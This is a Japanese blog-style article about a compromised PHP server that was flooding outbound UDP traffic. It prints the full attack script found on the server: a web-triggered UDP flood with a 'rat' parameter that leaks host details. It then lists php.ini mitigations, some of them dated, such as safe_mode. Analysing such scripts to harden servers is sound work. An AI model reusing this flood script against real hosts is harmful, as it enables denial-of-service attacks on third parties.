phpのddos攻撃解決方法

2948 ワード

この例ではphpのddos攻撃解決法について述べる.皆さんの参考にしてください.具体的な分析は以下の通りである.
今日自分の1台の机械は突然外部に大量のパケットを送って、しかし毎秒1 G以上まで、私は策略でUDPを禁止してパケットを出すことができないのがとてもcupを占めて、だから最后にやはり方法を考えて解决しました.
まずソースコードを見てください.コードは以下の通りです.

    set_time_limit(999999); 
  
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }
 
for($i=0;$i         $out .= "A";
    }
 
$max_time = time()+$exec_time;
 
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
 
echo "Send Host:$host:$port

";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb

";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

キーコードは次のとおりです.

   $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
 

方法は簡単で、目標ホストにUDPパケットを送信し、無限デッドサイクルを定義することで、大きな圧力を形成する.
この圧力は、このスクリプトを実行するサーバにとって、まず自身のネットワーク幅やCPUなどのリソースを大量に占有するため、このスクリプトでターゲットサイトに圧力をかけるには、複数のサーバ上でスクリプトを実行する必要があり、DDOSは、fsockopenで外部を要求する以上、要求させない.
php.iniに設定されています.コードは次のとおりです.

   allow_url_fopen = Off 
 

もしそうなら、彼はまだ発注することができます.コードは以下の通りです.
extension=php_sockets.dll
に改心
;extension=php_sockets.dll
APACHE、IIS、NGINXを再起動することでPHP DDOS発注を防止できる.
また、スクリプトをタイムアウトしないように設定するのは簡単だというネットユーザーもいます.
1.set_をtime_limit関数無効
2.PHPのセキュリティモードを有効にする(safe_mode=on).
SOcket関数を無効にするには、socketモジュールを直接すべて無効にすることも、fsockopen関数を無効にすることもできます.socketはメールを送信してパスワードを取り戻すのによく使われるので、直接セキュリティモードをオンにすることをお勧めします.しかし、スクリプトは30秒ごとにタイムアウトし、30秒ごとにDDOSを開始する寂しさを感じる「ハッカー」はいないと思います.
経験:このような問題は一般的にウェブサイトの安全が引き起こしたので、私たちはウェブサイトの安全とサーバーの安全に注意して、このように侵入されにくくて、macofeeの友达を使うことができて、ウェブサイトに対して制限するのはもっと良いです.
本稿で述べたphpプログラム設計に役立つことを願っています.